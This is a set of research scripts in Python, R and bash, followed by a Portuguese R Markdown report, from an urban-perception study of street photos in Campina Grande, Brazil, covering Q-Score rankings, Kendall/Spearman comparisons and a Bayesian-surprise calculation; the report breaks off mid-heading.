print "Uso: <arquivo com todas as fotos atuais> <questao> <arquivo de saída para todas as fotos atuais> <adiciona ou novo> <quantidade de novas fotos> <arquivo de saída para novas fotos> <arquivo com todas as fotos anterior>"
sys.exit(1)
output_filename = sys.argv[3]
action = sys.argv[4]
if action.lower() == "adiciona":
amount = int(sys.argv[5])
new_output_filename = sys.argv[6]
old_input_file = sys.argv[7]
addMaxDiff(sys.argv[1], sys.argv[2], amount, output_filename, new_output_filename, old_input_file)
elif action.lower() == "novo":
buildMaxDiff(sys.argv[1], sys.argv[2], output_filename)
else:
print ">>>> Error! Action not recognized, it must be <adiciona> or <novo> but you gave " + str(action)
sys.exit(1)
<file_sep># This script is used to parse latitude and longitude from shapefiles (.shp)
#
import shapefile
import sys
if __name__ == "__main__":
if len(sys.argv) <= 1:
print "Error! Usage: list of shapefiles!"
for i in range(1, len(sys.argv)):
currentArg = sys.argv[i]
sf = shapefile.Reader(currentArg)
shapes = sf.shapes()
output = open(currentArg+".out", "w")
for j in range(0, len(shapes)):
output.write(str(shapes[j].points[0][1])+","+str(shapes[j].points[0][0])+"\n")
output.close()
<file_sep>#!/bin/bash
for file in *; do
newname=`echo "$file" | iconv -t 'ascii//TRANSLIT'`
mv "$file" "$newname"
done
<file_sep>#!/bin/Rscript
# Combines the set of files with QScores and image characteristics into a single file
args <- commandArgs(trailingOnly = TRUE)
if (length(args) == 1){
iteration <- args[1]
#Reading social groups data
#solteiro <- read.table(paste("allSolteiroOrdInter_", iteration,".dat", sep=""))
#casado <- read.table(paste("allCasadoOrdInter_", iteration,".dat", sep=""))
#masculino <- read.table(paste("allMasculinoOrdInter_", iteration,".dat", sep=""))
#feminino <- read.table(paste("allFemininoOrdInter_", iteration,".dat", sep=""))
#jovem <- read.table(paste("allJovemOrdInter_", iteration,".dat", sep=""))
#adulto <- read.table(paste("allAdultoOrdInter_", iteration,".dat", sep=""))
#media <- read.table(paste("allMediaOrdInter_", iteration,".dat", sep=""))
#baixa <- read.table(paste("allBaixaOrdInter_", iteration,".dat", sep=""))
centro <- read.table(paste("allCentroOrdInter_", iteration,".dat", sep=""))
notcentro <- read.table(paste("allNotCentroOrdInter_", iteration,".dat", sep=""))
catole <- read.table(paste("allCatoleOrdInter_", iteration,".dat", sep=""))
notcatole <- read.table(paste("allNotCatoleOrdInter_", iteration,".dat", sep=""))
liberdade <- read.table(paste("allLiberdadeOrdInter_", iteration,".dat", sep=""))
notliberdade <- read.table(paste("allNotLiberdadeOrdInter_", iteration,".dat", sep=""))
#solteiro$grupo <- "Solteiro"
#casado$grupo <- "Casado"
#masculino$grupo <- "Masculino"
#feminino$grupo <- "Feminino"
#jovem$grupo <- "Jovem"
#adulto$grupo <- "Adulto"
#media$grupo <- "Media"
#baixa$grupo <- "Baixa"
centro$grupo <- "CCentro"
notcentro$grupo <- "NCCentro"
catole$grupo <- "CCatole"
notcatole$grupo <- "NCCatole"
liberdade$grupo <- "CLiberdade"
notliberdade$grupo <- "NCLiberdade"
#Reading IBGE sectors
ibge <- read.table("../setores_censitarios.dat", header=TRUE)
newFrame <- rbind(centro, notcentro, catole, notcatole, liberdade, notliberdade)#rbind(solteiro, casado, masculino, feminino, jovem, adulto, media, baixa)
novoV2 <- lapply(as.character(newFrame$V2), function (x) paste(strsplit(x, split="/", fixed=TRUE)[[1]][6], "/", strsplit(x, split="/", fixed=TRUE)[[1]][7], sep=""))
local <- unlist(lapply(novoV2, '[[', 1))
newFrame$V2 <- local
temp1 <- merge(newFrame, ibge, by.x = "V2", by.y = "foto")
final <- temp1[with(temp1, order(V2)),]
temp1 <- lapply(as.character(final$V2), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][1])
neigs1 <- unlist(lapply(temp1, '[[', 1))
final$bairro <- neigs1
#write.table(final, file="geral.dat", sep=" ", quote=FALSE, row.names=FALSE)
write.table(final, file=paste("geralSetores2AJ_", iteration, ".dat", sep=""), sep=" ", quote=FALSE, row.names=FALSE, col.names=FALSE, append=TRUE)
}
<file_sep># coding=utf-8
# Calculates surprise values according to street scores
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
import numpy as np
import scipy.integrate as integrate
import scipy.stats as stats
def average_num(prop, i):
#Average scores for current street point.
sum = 0
n = 0
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
sum = sum + data[prop][i]
n = n + 1
return sum/n
def median_num(prop, i):
#Median score for current street point.
current_values = []
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
current_values.append(data[prop][i]);
return np.median(current_values)
def average_street(prop, num_of_points):
#Average scores for current street.
sum = 0
n = 0
for i in range(0, num_of_points):
sum = sum + data[prop][i]
n = n + 1
return sum/n
def sumU_num(prop, i):
#Sum scores for current street.
sum = 0
int_part = i/4
for i in range(int_part * 4, (int_part+1) * 4):
sum = sum + data[prop][i]
return sum
def sumU_street(prop, num_of_points):
#Sum scores for current street.
sum = 0
for i in range(0, num_of_points):
sum = sum + data[prop][i]
return sum
def KL(pmd,pm):
return pmd * (np.log(pmd / pm) / np.log(2))
def standard_normal(x):
std = 1.0
mean = 0.0
return ( 1.0 / np.sqrt( 2.0 * np.pi * (std**2.0)) ) * np.exp( - ( (x - mean)**2.0 / (2.0 * (std**2.0)) ) )
def deMoivre_funnel(votes, people, data, num_of_points, debug):
total_votes = []
#for j in range(0, num_of_points):
for prop in data:
total_votes.append(data[prop][0])#Percent for each city: * 1.0 / data[prop][2]
#According to Correl Excel Table
mean_diff = votes - np.mean(total_votes)
sampling_std = np.std(total_votes) / np.sqrt(people)
z_score = mean_diff / sampling_std
#mean_of_votes = np.mean(total_votes)#mean proportion (success of voting in candidate A)
#std_error = np.sqrt( people * mean_of_votes * (1-mean_of_votes) )#np.std(values) / np.sqrt(num_of_values)
#zs = (votes - (mean_of_votes * people)) / std_error
integrate_result = abs(stats.norm.cdf(z_score, loc=0, scale=1) - 0.5)#integrate.quad(standard_normal, 0, z_score)
p_de_moivre = 1.0 - ( 2.0 * integrate_result )#max(1.0 - ( 2.0 * integrate_result ), 0)
#print str(std_error) + "\t" + str(zs) + "\t" + str(i) + "\t" + str(integrate_result) + "\t" + str(p_de_moivre)
if debug:
print ">>> PDMi " + str(integrate_result)
print "All votes prop " + str(total_votes)
print "Current votes " + str(votes)
print "mean diff and votes " + str(mean_diff) + " " + str(np.mean(total_votes)) + " " + str(np.std(total_votes))
print "std error " + str(sampling_std) + " " + str(people)
print "zs " + str(z_score)
print "Integrate " + str(integrate_result)
print "De moivre " + str(p_de_moivre)
return [p_de_moivre, np.mean(total_votes) / people]
def estimate_votes():
expected = {}
total_voters = 0
total_votes = 0
#Summing total votes of candidate
for prop in data:
total_voters = total_voters + data[prop][2]
total_votes = total_votes + data[prop][0]
#Find percent in each city
for prop in data:
expected[prop] = data[prop][2] * 1.0 / total_voters * total_votes
return expected
def calcSurprise(num_of_points):
uniform_data = {}
surprise_data = {}
base_data = {}
for prop in data:
surprise_data[prop] = [0 for x in range(num_of_points)]
uniform_data[prop] = [0 for x in range(num_of_points)]
base_data[prop] = [0 for x in range(num_of_points)]
#Start with equiprobably P(M)s
#Initially, everything is equiprobable.
pMs =[(1.0/2), (1.0/2)]#,(1.0/3),(1.0/3)]
moivre_pM = [pMs[0]]
base_pM = [pMs[1]]
# bust_pM = [pMs[2]]
expected = estimate_votes()
pDMs = [0.0, 0.0]#,0.0]
pMDs = [0.0, 0.0]#,0.0]
avg = 0
total = 0
#normal_fit = {"all" : [4.68814353, 0.64067694], u'R._Cristina_Proc\xf3pio_Silva' : [4.97966875, 0.71104919], u'R._Maciel_Pinheiro' : [4.77777896, 0.22856043], u'R._In\xe1cio_Marqu\xeas_da_Silva': [4.71353096, 0.54189458], u'R._Manoel_Pereira_de_Ara\xfajo': [3.67248457, 0.18353610], u'Av._Mal._Floriano_Peixoto': [ 4.95739065, 0.32222894], u'R._Ed\xe9sio_Silva': [4.71109467, 0.46001726]}
#Bayesian surprise is the KL divergence from prior to posterior
kl = 0
diffs = [0,0]#,0]
sum_diffs = [0,0]#,0]
#Integration using python (for De moivre) - https://docs.scipy.org/doc/scipy/reference/tutorial/integrate.html
for prop in data:
current_row = data[prop]
debug = False
if prop == 61778:
print ">>>> Cheguei com " + str(current_row)
debug = True
#Calculate per state surprise
#for prop in data:
#norm_data = normal_fit[prop]
#norm_estimate = np.random.normal(loc=norm_data[0], scale=norm_data[1])
#avg_street = average_street(prop, num_of_points)#For whole street
#total_street = sumU_street(prop, num_of_points)
#avg_num = average_num(prop, i)#median_num;//For current point
#total_num = sumU_num(prop, i)
#print ">>> Evaluating " + prop + "\t" + str(i)
#Estimate P(D|M) as 1 - |O - E|
#uniform
result = deMoivre_funnel(current_row[0], current_row[2], data, num_of_points, debug)
diffs[0] = ((current_row[0] * 1.0/current_row[2]) - result[1])
#pDMs[0] = 1 - abs(diffs[0])
pDMs[0] = 1.0 / (num_of_points**2) * ( num_of_points * result[0])
#Multi-modal in R? mixmdl2 = normalmixEM(data2$total_votes, maxit=10000, mu=c(10, 60, 120), sigma=5); mixmdl[c("lambda","mu","sigma")]; plot(mixmdl,which=2); library(mixtools)
#np.max(0, 0.8028698 * np.random.normal(loc=115.7006, scale=123.6779) + 0.1971302 * np.random.normal(loc=2659.6456, scale=8084.2473))
#Base Rate
diffs[1] = ( (current_row[0]* 1.0/current_row[2]) - (expected[prop]*1.0 / current_row[2]) )
pDMs[1] = 1 - abs(diffs[1])
#Bust
#diffs[2] = ((current_row[0]* 1.0/current_row[2]) - percents[1])
#pDMs[2] = 1 - abs(diffs[2])
#Estimate P(M|D)
#uniform
pMDs[0] = pMs[0]*pDMs[0]
pMDs[1] = pMs[1]*pDMs[1]
#pMDs[2] = pMs[2]*pDMs[2]
if prop == 61778:
print "Num points " + str(num_of_points)
print "Diffs " + str(diffs)
print "PM " + str(pMs)
print "PMD " + str(pMDs)
print "PDM " + str(pDMs)
#Surprise is the sum of KL divergance across model space
#Each model also gets a weighted "vote" on what the sign should be
kl = 0
voteSum = 0
for j in range(0, len(pMDs)):
if pMDs[j] != 0 and pMs[j] == 0:
raise Exception("DKL is undefined que P(i) != 0 and Q(i) == 0")
if pMDs[j] == 0:
current_kl = 0.0
else:
current_kl = pMDs[j] * (np.log( pMDs[j] / pMs[j])/np.log(2))
kl = kl + current_kl#https://math.stackexchange.com/questions/1228408/kullback-leibler-divergence-when-the-q-distribution-has-zero-values
voteSum = voteSum + diffs[j]*pMs[j]
sum_diffs[j] = sum_diffs[j] + abs(diffs[j])
if prop == 61778:
print "KL " + str(current_kl)
print "VotesSUM " + str(diffs[j]*pMs[j])
if voteSum >= 0:
surprise_data[prop] = abs(kl)
else:
surprise_data[prop] = -1 * abs(kl)
uniform_data[prop] = pMs[0]
base_data[prop] = pMs[1]
#Now lets globally update our model belief.
for j in range(0, len(pMs)):
pDMs[j] = 1 - 0.5 * sum_diffs[j]
pMDs[j] = pMs[j] * pDMs[j]
pMs[j] = pMDs[j]
#Normalize
summ = np.sum(pMs)
for j in range(0, len(pMs)):
pMs[j] = pMs[j] / summ
moivre_pM.append(pMs[0])
base_pM.append(pMs[1])
#bust_pM.append(pMs[2])
print ">> Confiança De moivre " + str(moivre_pM)
print ">> Confiança base " + str(base_pM)
# print ">> Confiança bust " + str(bust_pM)
return [surprise_data, uniform_data, base_data]
if __name__ == "__main__":
if len(sys.argv) < 2:
print "Uso: <arquivo de entrada>"
sys.exit(1)
#Init algorithm
data = {}
surprise_data = {}
uniform = {}
boom = {}
bust = {}
max_street = {}
min_street = {}
input_data = pd.read_table(sys.argv[1], sep=',', encoding='utf8', header=0)
data = {}
num_of_points = input_data.shape[0]
for index, row in input_data.iterrows():
#data[row['State']] = [row['1981'], row['1982'], row['1983'], row['1984'], row['1985'], row['1986'], row['1987'], row['1988'], row['1989'], row['1990'], row['1991'], row['1992'], row['1993'], row['1994'], row['1995'], row['1996'], row['1997'], row['1998']]
data[row['full_ibge_code']] = [row['total_votes'], row['attendances'], row['valid_votes'], row['city_name'], row['display_name'], row['candidate_id']]
#print ">>> Lendo " + str(row['full_ibge_code']) + " " + str(data[row['full_ibge_code']])
#Creating variables to store values over iterations
all_surprise = {}
all_moivre = {}
all_base = {}
surprise_summary = {}
uniform_summary = {}
base_summary = {}
#for prop in input_data['id_cidade']:
# all_surprise[prop] = [[] for x in range(num_of_points)]
# all_moivre[prop] = [[] for x in range(num_of_points)]
# all_base[prop] = [[] for x in range(num_of_points)]
#
# surprise_summary[prop] = [[] for x in range(num_of_points)]
# uniform_summary[prop] = [[] for x in range(num_of_points)]
# base_summary[prop] = [[] for x in range(num_of_points)]
#Calculations of surprise values and storing calculus results
result = calcSurprise(num_of_points)
#print str(result)
surprise_data = result[0]
moivre_data = result[1]
base_data = result[2]
#print str(surprise_data)
for prop in input_data['full_ibge_code']:
# for i in range(0, num_of_points):
all_surprise[prop] = surprise_data[prop]
all_moivre[prop] = moivre_data[prop]
all_base[prop] = base_data[prop]
#Calculating summaries
#for prop in input_data['State']:
# for i in range(0, num_of_points):
# surprise_summary[prop][i] = np.mean(all_surprise[prop][i])
# uniform_summary[prop][i] = np.mean(all_moivre[prop][i])
# base_summary[prop][i] = np.mean(all_base[prop][i])
#Printing surprise values summaries
for prop in surprise_data:
print str(prop) + "," + str(data[prop][5]) + "," + str(data[prop][3].encode("utf-8")) + "," + str(data[prop][4].encode("utf-8")) + "," + str(all_surprise[prop])
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<h1 class="title toc-ignore">analisaPorRua</h1>
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<p>Os estudos de percepção realizados até o momento têm focado em capturar diversas imagens espalhadas pela cidade, obter os QScores/preferências das pessoas e treinar modelos de mais baixo nível ou alto nível (vide nosso artigo do HT ou o artigo com índice de ceu, verde, etc.) para predizer preferências para novas fotos que ainda não foram avaliadas por pessoas (<strong>visão macro</strong>). Com isso surgem alguns pontos a serem considerados:</p>
<ol style="list-style-type: decimal">
<li>A coleta nos artigos gera uma pergunta: Ao escolhermos pontos tão esparsos estamos considerando a média dos ambientes, isso é representativo?</li>
</ol>
<ul>
<li>No Place Pulse são coletadas mais de uma imagem por local (2 ou mais direções) para lidar com variação e foram 1.706 imagens para NY, 1.236 para Boston, 544 para Salzburg e 650 para Linz</li>
<li>Na análise dos Q-Scores por dados de homícidio usa-se a média no zip-code;</li>
<li>Na segunda versão do Place Pulse tem-se 2984 pontos coletados em São Paulo e se considerarmos o total de 48.623 ruas da cidade, mesmo se fosse um ponto por rua <strong>foram cobertos 6,1% das ruas (pouca cobertura!)</strong>.</li>
</ul>
<pre class="r"><code> teste <- read.csv("/local/david/workspace_doutorado//Place Pulse/pp2_20161010/votes.csv", header=TRUE)#/local/david/workspace_doutorado/Place Pulse/pp2_20161010/votes.csv
lat_min <- -23.401371#Sao Paulo
lat_max <- -24.006227
lon_min <- -46.334217
lon_max <- -46.821569
left_ids <- filter(teste, (teste$left_lat >= lat_max & teste$left_lat <= lat_min) & (teste$left_long >= lon_max & teste$left_long <= lon_min))$left_id
right_ids <- filter(teste, (teste$right_lat >= lat_max & teste$right_lat <= lat_min) & (teste$right_long >= lon_max & teste$right_long <= lon_min))$right_id
length(unique(append(left_ids, right_ids)))</code></pre>
<pre><code>## [1] 2984</code></pre>
<pre class="r"><code> #https://super.abril.com.br/cultura/quantas-ruas-existem-em-sao-paulo/</code></pre>
<ul>
<li>No Urban Gems, cena aleatória dentro de 300m do metrô e dentro dos bounding-box de áreas de censo. 258 Street View e 310 do Geograph, múltiplas visões do local</li>
<li>No Como é Campina? escolhemos pontos distantes 50m, dentro dos setores censitários.</li>
<li>Pela análise do Como é Campina?, focando em divergências, nós encontramos <strong>11 pontos (22 imagens), para o agradável, com diferenças no Q-Score maiores que 1 ponto. Diferenças maiores que 1 ponto, para o agradável, conduziram a diferenças de 25 a 107 posições no ranking e de 26 a 107 posições, para segurança</strong>.</li>
<li>Podemos considerar a variação nas médias e ICs quando temos mais imagens e quando só temos 2 ou 3 imagens por rua</li>
</ul>
<ol start="2" style="list-style-type: decimal">
<li>Os <strong>modelos treinados com estes conjuntos de dados tendem a capturar as tendências médias</strong>, o típico presente nos dados. E se pensarmos em analisar outro contexto social, ruas de outros locais ou, ainda, traçar um panorama detalhado de alguma rua?</li>
</ol>
<ul>
<li>Em relação ao contexto social podemos pensar em lidar capturando preferências dos diferentes segmentos sociais, diferentes culturas</li>
<li><p>Em relação às ruas de outras cidades podemos pensar em capturar imagens de outras cidades, cujo contexto seja mais parecido com o contexto da cidade que queremos avaliar</p></li>
<li><strong>Exemplos</strong>:</li>
<li>Alguns casos interessantes.</li>
<li><p>Amostra anterior: A imagem abaixo teve nota 4.30 (posição 28) mesmo contendo casas bem mantidas e árvores, por conta do terreno!</p></li>
</ul>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg' width='400px'>
<div class="caption">
Q-Score = 4.30 (posicao 28)
</div>
</div>
</div>
<ul>
<li>Amostra Atual: A imagem primeira imagem tem um bom nível de manutenção, árvores e calçadas razoáveis, todavia pelos restos de construção teve uma nota menor e comparável a um terreno baldio da segunda imagem. As imagens 1, 2, 4 e 5, apesar de bem distintos quanto a árvores, manutenção tiveram notas parecidas!</li>
</ul>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Edésio_Silva_306_135.jpg' width='400px'>
<div class="caption">
Q-Score = 4.74 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/catole/R._Inácio_Marquês_da_Silva_360_203.jpg' width='400px'>
<div class="caption">
Q-Score = 4.68 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/liberdade/R._Ed%C3%A9sio_Silva_602_22.jpg' width='400px'>
<div class="caption">
Q-Score = 5.12 (posicao ??)
</div>
</div>
</div>
<div class="row">
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_130_270.jpg' width='400px'>
<div class="caption">
Q-Score = 4.75 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/R._Maciel_Pinheiro_360_90.jpg' width='400px'>
<div class="caption">
Q-Score = 4.69 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/norte/centro/Av._Mal._Floriano_Peixoto_913_293.jpg' width='400px'>
<div class="caption">
Q-Score = 4.24 (posicao ??)
</div>
</div>
<div class="col-xs-4">
<img src='https://contribua.org/bairros/oeste/catole/R._Cristina_Proc%C3%B3pio_Silva_66_45.jpg' width='400px'>
<div class="caption">
Q-Score = 5.49 (posicao ??)
</div>
</div>
</div>
<ol start="3" style="list-style-type: decimal">
<li><p>O grande ponto positivo destas análises é aprender melhor sobre características médias presentes nos locais que favorecem ou não as preferências e aprender um pouco sobre o as preferências típicas dos votantes em relação a essas características. <strong>Por não termos visão completa, cheiro, etc. tipicamente justifica-se como limitação para gerar a percepção do local!</strong></p></li>
<li>Existe uma discussão no urbanismo sobre <strong>top-down e bottom-up design</strong> (<a href="https://books.google.com.br/books?id=M-H0AgAAQBAJ&pg=PA255&lpg=PA255&dq=what+is+opposed+to+bird%27s+eye+view+urbanism&source=bl&ots=8owGSyzJpv&sig=8bFt7WNHhCuNqKmvwMclv9XQlt8&hl=pt-BR&sa=X&ved=0ahUKEwjS8Ifqq7rZAhWCkZAKHU9QCyoQ6AEITDAJ#v=onepage&q=what%20is%20opposed%20to%20bird's%20eye%20view%20urbanism&f=false">https://books.google.com.br/books?id=M-H0AgAAQBAJ&pg=PA255&lpg=PA255&dq=what+is+opposed+to+bird%27s+eye+view+urbanism&source=bl&ots=8owGSyzJpv&sig=8bFt7WNHhCuNqKmvwMclv9XQlt8&hl=pt-BR&sa=X&ved=0ahUKEwjS8Ifqq7rZAhWCkZAKHU9QCyoQ6AEITDAJ#v=onepage&q=what%20is%20opposed%20to%20bird's%20eye%20view%20urbanism&f=false</a>):</li>
</ol>
<ul>
<li>top-down, bird’s eye view, plan mostra a organização, não a experiência, a qualidade, o charme, nossa ligação emocional com a cidade do dia a dia</li>
<li>Incorporar os locais e seu conhecimento no planejamento precisa de uma abordagem bottom-up</li>
<li>Uma cidade projetada com foco no landscape não pode ser apreciada por uma visão bird’s eye. Estilos de arquitetura, escala humana não podem ser experimentados por esta visão.</li>
</ul>
<ol start="5" style="list-style-type: decimal">
<li>E o panorama detalhado da rua (<strong>visão micro</strong>)? Com essa ideia estamos buscando <strong>descrever, encontrar problemas/virtudes, avaliar as particularidades</strong>, ou o que podemos ganhar/perder, pensando em captura de percepções em um nível mais micro em relação à captura de percepção em um nível mais macro.</li>
</ol>
<ul>
<li>Este estudo micro casa bem com o cenário no qual podemos pensar em um sistema de coleta da percepção dos moradores sobre sua rua e uso desta ferramenta para pressão e argumentação junto à autoridades</li>
<li>Precisamos ter ideias mais precisas de como são as várias ruas daquela cidade, suas particularidades, para que os modelos treinados com esses dados possam reproduzir mais fielmente as preferências das pessoas sobre aqueles locais?</li>
<li>Se pensarmos em termos o melhor modelo possível, que reproduza fielmente a opinião das pessoas, o que <strong>podemos descrever e apontar de virtudes/problemas</strong>?</li>
<li>Se para nos aproximarmos de modelos/descrições mais detalhadas de ruas precisamos de muitos dados/fotos da cidade, começamos a nos deparar com alguns problemas:</li>
<li>As grandes bases que existem (PlacePulse, UrbanGems, StreetSeen?) pouco tem do contexto sub-desenvolvido, particularmente do contexto brasileiro;</li>
<li>Mesmo no contexto brasileiro, temos aspectos sociais, culturais e cidades bem distintas entre as várias partes do país</li>
</ul>
<p>Estamos pensando em o que fazer com esses dados, como computar e apresentar pontos úteis no mundo micro! Para tentar avaliar melhor esses aspectos, foram escolhidas 6 ruas de Campina Grande, 20 fotos por rua (5 pontos da rua x 4 ângulos), para avaliação quanto à questão agradável. 3 dessas ruas apresentaram os pontos de maior divergência de percepção em nossa análise anterior (<NAME>, <NAME> e <NAME>), uma rua apresentou o ponto de maior homogeneidade (Manoel Pereira), porém com notas baixas, e as outras ruas são pontos importantes do centro da cidade (<NAME> e <NAME>), que tem uma tendência de homogeneidade, com notas boas.</p>
<p>As fotos de cada ruas foram comparadas com as de outras ruas, ao invés de apenas naquela rua, de modo que possamos comparar as ruas entre si e, também, tenhamos uma maior variação de tipos de locais comparados entre si.</p>
<p>Alguns questionamentos foram inicialmente levantados:</p>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
<li>Podemos descrever cada rua? Problemas/virtudes (pontos notáveis)?</li>
</ol>
<div id="caracterizacao-geral" class="section level1">
<h1>Caracterização Geral</h1>
<div id="tamanho-das-amostras" class="section level2">
<h2>Tamanho das amostras</h2>
<p>Abaixo temos, primeiramente, uma análise, para determinar o tamanho da amostra para 95% de confiança. Em seguida, temos a comparação do ranking geral da amostra atual contendo 596 pessoas (283 pessoas que não são de Campina e 278 que são daqui), com a amostra de 29 usuários (primeira amostra analisada, só de moradores) e com a amostra de 69 pessoas (sendo também todos moradores de Campina).</p>
<pre class="r"><code>#Checking sample size
current_data <- read.table("all100/all_ordenado.dat")
current_data$sd <- apply(current_data[,4:ncol(current_data)], 1, sd)
current_data$n <- ( 1.96 * current_data$sd / 0.2) ** 2 #All QScores
print(">>>> Maior e menor amostra necessária ")</code></pre>
<pre><code>## [1] ">>>> Maior e menor amostra necessária "</code></pre>
<pre class="r"><code>print(max(current_data$n))</code></pre>
<pre><code>## [1] 0.1976114</code></pre>
<pre class="r"><code>print(min(current_data$n))</code></pre>
<pre><code>## [1] 0.00325091</code></pre>
<pre class="r"><code>#Checking rankings similarity
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
print(tau)
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
data29 <- read.table("29users/all_ordenado.dat")
d29_cur <- merge(select(data29, V2, V3), select(current_data, V2, V3), by = "V2")
print(cor.test(d29_cur$V3.x, d29_cur$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: d29_cur$V3.x and d29_cur$V3.y
## z = 9.8216, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.7481013</code></pre>
<pre class="r"><code>print(cor.test(d29_cur$V3.x, d29_cur$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: d29_cur$V3.x and d29_cur$V3.y
## S = 6752, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.9208626</code></pre>
<pre class="r"><code>print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(d29_cur$V3.x, d29_cur$V3.y)))</code></pre>
<pre><code>## [1] 1556
## [1] 0.4924051
## [1] ">>>> Kendall Distance 0.492405063291139"</code></pre>
<pre class="r"><code>data69 <- read.table("69users/all_ordenado.dat")
d69_cur <- merge(select(data69, V2, V3), select(current_data, V2, V3), by = "V2")
print(cor.test(d69_cur$V3.x, d69_cur$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: d69_cur$V3.x and d69_cur$V3.y
## z = 10.611, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.8082278</code></pre>
<pre class="r"><code>print(cor.test(d69_cur$V3.x, d69_cur$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: d69_cur$V3.x and d69_cur$V3.y
## S = 4440, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.9479606</code></pre>
<pre class="r"><code>print(paste(">>>> Kendall Distance ", normalizedKendallTauDistance2(d69_cur$V3.x, d69_cur$V3.y)))</code></pre>
<pre><code>## [1] 1269
## [1] 0.4015823
## [1] ">>>> Kendall Distance 0.401582278481013"</code></pre>
<pre class="r"><code>men <- read.table("all100/all_masculino_ordenado.dat")
women <- read.table("all100/all_feminino_ordenado.dat")
men_wo <- merge(select(men, V2, V3), select(women, V2, V3), by = "V2")
print(cor.test(men_wo$V3.x, men_wo$V3.y, method = "kendall"))</code></pre>
<pre><code>##
## Kendall's rank correlation tau
##
## data: men_wo$V3.x and men_wo$V3.y
## z = 9.8895, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.6106443</code></pre>
<pre class="r"><code>print(cor.test(men_wo$V3.x, men_wo$V3.y, method = "spearman"))</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: men_wo$V3.x and men_wo$V3.y
## S = 56820, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.8026946</code></pre>
</div>
<div id="comparacao-entre-rankings-de-moradores-e-nao-moradores" class="section level2">
<h2>Comparação entre rankings de moradores e não moradores</h2>
<p>O processo de separação de quem é ou não de Campina obedeceu as seguintes regras:</p>
<ol style="list-style-type: decimal">
<li>O usuário informando se é morador ou não ou através do IP;</li>
<li>Para os que não são moradores, foi verificado se ele informou se conhece a cidade e se estuda, mora ou trabalha aqui. Nestes casos, estes usuários foram adicionados ao conjunto de moradores (arquivo users_notcampina_campina.dat);</li>
<li>Por fim, alguns usuários que não responderam ao questionário mas foram identificados pelo pesquisador como ex-moradores da cidade, também foram adicionados ao conjunto de moradores.</li>
</ol>
<p>Feita a seleção de quem é morador e não morador de Campina temos, atualmente, 278 moradores e 283 não moradores. <strong>Quão parecido é o ranking geral de moradores e não moradores?</strong></p>
<pre><code>##
## Kendall's rank correlation tau
##
## data: camp_notcampina$V3.x and camp_notcampina$V3.y
## z = 14.297, p-value < 2.2e-16
## alternative hypothesis: true tau is not equal to 0
## sample estimates:
## tau
## 0.7617925</code></pre>
<pre><code>##
## Spearman's rank correlation rho
##
## data: camp_notcampina$V3.x and camp_notcampina$V3.y
## S = 52836, p-value < 2.2e-16
## alternative hypothesis: true rho is not equal to 0
## sample estimates:
## rho
## 0.9226005</code></pre>
<pre><code>## [1] 6153
## [1] 0.4837264
## [1] ">>>> Kendall Distance 0.48372641509434"</code></pre>
<p>Composição social de todos os usuários</p>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-4-1.png" width="1152" /></p>
<p>Composição social de moradores de Campina</p>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-5-1.png" width="1152" /></p>
<p>Composição social de não moradores de Campina</p>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-6-1.png" width="1152" /></p>
</div>
<div id="ranking-geral" class="section level2">
<h2>Ranking Geral</h2>
<p>Computados os QScores as 10 melhores e 10 piores imagens avaliadas estão apresentadas abaixo juntamente com as interseções das marcações dos usuários do porquê as escolheram como melhor ou pior imagem dentre as 4 apresentadas nas tarefas.</p>
<h3>
Top ../percepcaoLocal/agradavel/melhores/intersects/
